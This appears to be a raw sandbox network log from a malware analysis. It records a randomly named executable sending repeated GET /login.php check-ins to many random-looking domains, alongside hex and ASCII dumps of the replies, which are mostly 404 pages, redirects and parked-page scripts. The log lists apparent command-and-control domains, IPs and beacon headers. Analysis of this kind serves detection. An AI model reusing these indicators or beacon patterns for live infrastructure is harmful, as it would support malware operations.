                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vocyzit.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345217|1731345181|18|2|0
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.858380079 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:44 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345224|1731345181|12|3|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          62192.168.2.65052123.253.46.64804180C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.427001953 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gahyqah.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.886501074 CET1236INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Server: Microsoft-IIS/7.5
                                                                                                                                                                                                          X-Powered-By: ASP.NET
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:39 GMT
                                                                                                                                                                                                          Content-Length: 1245
                                                                                                                                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.889035940 CET169INData Raw: 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67
                                                                                                                                                                                                          Data Ascii: <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          63192.168.2.650522208.100.26.245804180C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.442828894 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyvyxor.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.924052000 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:44 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 580
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          64192.168.2.650523154.212.231.82804180C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.488079071 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gadyniw.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.368333101 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:45 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 548
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          65192.168.2.65052475.2.71.199804180C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.500790119 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.926908970 CET166INHTTP/1.1 308 Permanent Redirect
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Location: https://puzylyp.com/login.php
                                                                                                                                                                                                          Server: Caddy
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:44 GMT
                                                                                                                                                                                                          Content-Length: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          66192.168.2.65052518.208.156.248804180C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.500842094 CET353OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vonypom.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345217|1731345181|18|2|0
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.928672075 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:44 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345224|1731345181|12|3|0; path=/; domain=.vonypom.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          67192.168.2.664008188.114.97.3804180C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.531507015 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.253226042 CET970INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:45 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://qegyhig.com/login.php
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hRrxDyedG1W7x2vDKDDW9hUDwJNKvuyBXh6mR%2FJh%2BerxlBInxEOcDavUuYGlMgkcbUU9bkKwtk%2FDvYH0wSVA7eNft8I5%2BKgkNty8X03BVNwRv7zwqCWePmxJ1K4nAA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fea27fd61c33b-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1140&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          68192.168.2.659139199.191.50.83804180C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.089176893 CET281OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: galyqaz.com
                                                                                                                                                                                                          Cookie: vsid=903vr478890781963739088
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.298973083 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:46 GMT
                                                                                                                                                                                                          Server: Apache
                                                                                                                                                                                                          Referrer-Policy: no-referrer-when-downgrade
                                                                                                                                                                                                          Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version
                                                                                                                                                                                                          Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com")
                                                                                                                                                                                                          X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_NHOnw0G73BscnvIcyf8HaXYxUwB52N5y4R2rV77ldfg6F/P3HTMIgnr4aIPWR/fyPGslgb3huQzNdSH/7sK+hw==
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                          Data Raw: 61 38 66 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: a8fe<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}i
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.298988104 CET94INData Raw: 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f
                                                                                                                                                                                                          Data Ascii: f(!("cmp_id" in window)||window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.c
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299021006 CET1236INData Raw: 6d 70 5f 63 64 69 64 3d 22 32 31 66 64 63 61 32 32 38 31 38 33 33 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 61 72 61 6d 73 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 61 72 61 6d 73 3d 22 22 7d 69 66 28 21 28 22 63
                                                                                                                                                                                                          Data Ascii: mp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.consentmanager.net"}if(!("cmp_proto" in windo
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299072027 CET1236INData Raw: 76 69 67 61 74 6f 72 2e 6c 61 6e 67 75 61 67 65 73 3a 5b 5d 3b 69 66 28 66 2e 69 6e 64 65 78 4f 66 28 22 63 6d 70 6c 61 6e 67 3d 22 29 21 3d 2d 31 29 7b 63 2e 70 75 73 68 28 66 2e 73 75 62 73 74 72 28 66 2e 69 6e 64 65 78 4f 66 28 22 63 6d 70 6c
                                                                                                                                                                                                          Data Ascii: vigator.languages:[];if(f.indexOf("cmplang=")!=-1){c.push(f.substr(f.indexOf("cmplang=")+8,2).toUpperCase())}else{if(e.indexOf("cmplang=")!=-1){c.push(e.substr(e.indexOf("cmplang=")+8,2).toUpperCase())}else{if("cmp_setlang" in window&&window.c
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299084902 CET1236INData Raw: 78 4f 66 28 69 29 2b 73 2c 39 39 39 39 29 7d 65 6c 73 65 7b 69 66 28 64 2e 73 65 61 72 63 68 2e 69 6e 64 65 78 4f 66 28 69 29 21 3d 2d 31 29 7b 77 3d 64 2e 73 65 61 72 63 68 2e 73 75 62 73 74 72 28 64 2e 73 65 61 72 63 68 2e 69 6e 64 65 78 4f 66
                                                                                                                                                                                                          Data Ascii: xOf(i)+s,9999)}else{if(d.search.indexOf(i)!=-1){w=d.search.substr(d.search.indexOf(i)+s,9999)}else{return e}}if(w.indexOf("&")!=-1){w=w.substr(0,w.indexOf("&"))}return w}var k=("cmp_proto" in h)?h.cmp_proto:"https:";if(k!="http:"&&k!="https:")
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299135923 CET1236INData Raw: 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 65 6c 73 65 7b 76 61 72 20 74 3d 76 28 22 62 6f 64 79 22 29 3b 69 66 28 74 2e 6c 65 6e 67 74 68 3d 3d 30 29 7b 74 3d 76 28 22 64 69 76 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3d 3d 30 29 7b 74 3d
                                                                                                                                                                                                          Data Ascii: .appendChild(j)}else{var t=v("body");if(t.length==0){t=v("div")}if(t.length==0){t=v("span")}if(t.length==0){t=v("ins")}if(t.length==0){t=v("script")}if(t.length==0){t=v("head")}if(t.length>0){t[0].appendChild(j)}}}var m="js";var p=x("cmpdebugu
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299149036 CET848INData Raw: 74 69 6f 6e 61 6c 6c 79 20 68 69 64 64 65 6e 2c 20 70 6c 65 61 73 65 20 69 67 6e 6f 72 65 22 29 3b 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 2c 22 6e 6f 6e 65 22 29 3b 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62
                                                                                                                                                                                                          Data Ascii: tionally hidden, please ignore");a.setAttribute("role","none");a.setAttribute("tabindex","-1");document.body.appendChild(a)}else{window.setTimeout(window.cmp_addFrame,10,b)}}};window.cmp_rc=function(h){var b=document.cookie;var f="";var d=0;wh
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299194098 CET1236INData Raw: 66 28 61 5b 30 5d 3d 3d 3d 22 67 65 74 55 53 50 44 61 74 61 22 29 7b 61 5b 32 5d 28 7b 76 65 72 73 69 6f 6e 3a 31 2c 75 73 70 53 74 72 69 6e 67 3a 77 69 6e 64 6f 77 2e 63 6d 70 5f 72 63 28 22 22 29 7d 2c 74 72 75 65 29 7d 65 6c 73 65 7b 69 66 28
                                                                                                                                                                                                          Data Ascii: f(a[0]==="getUSPData"){a[2]({version:1,uspString:window.cmp_rc("")},true)}else{if(a[0]==="getTCData"){__cmp.a.push([].slice.apply(a))}else{if(a[0]==="addEventListener"||a[0]==="removeEventListener"){__cmp.a.push([].slice.apply(a))}else{if(a.le
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.299206018 CET212INData Raw: 65 63 74 69 6f 6e 49 64 3a 33 2c 67 70 70 56 65 72 73 69 6f 6e 3a 31 2c 73 65 63 74 69 6f 6e 4c 69 73 74 3a 5b 5d 2c 61 70 70 6c 69 63 61 62 6c 65 53 65 63 74 69 6f 6e 73 3a 5b 30 5d 2c 67 70 70 53 74 72 69 6e 67 3a 22 22 2c 70 69 6e 67 44 61 74
                                                                                                                                                                                                          Data Ascii: ectionId:3,gppVersion:1,sectionList:[],applicableSections:[0],gppString:"",pingData:window.cmp_gpp_ping()}}else{if(g==="hasSection"||g==="getSection"||g==="getField"){return null}else{__gpp.q.push([].slice.apply(
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.300898075 CET1236INData Raw: 61 29 29 7d 7d 7d 7d 7d 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 6d 73 67 68 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 64 29 7b 76 61 72 20 61 3d 74 79 70 65 6f 66 20 64 2e 64 61 74 61 3d 3d 3d 22 73 74 72 69 6e 67 22 3b 74 72 79 7b 76 61 72
                                                                                                                                                                                                          Data Ascii: a))}}}}}};window.cmp_msghandler=function(d){var a=typeof d.data==="string";try{var c=a?JSON.parse(d.data):d.data}catch(f){var c=null}if(typeof(c)==="object"&&c!==null&&"__cmpCall" in c){var b=c.__cmpCall;window.__cmp(b.command,b.parameter,func
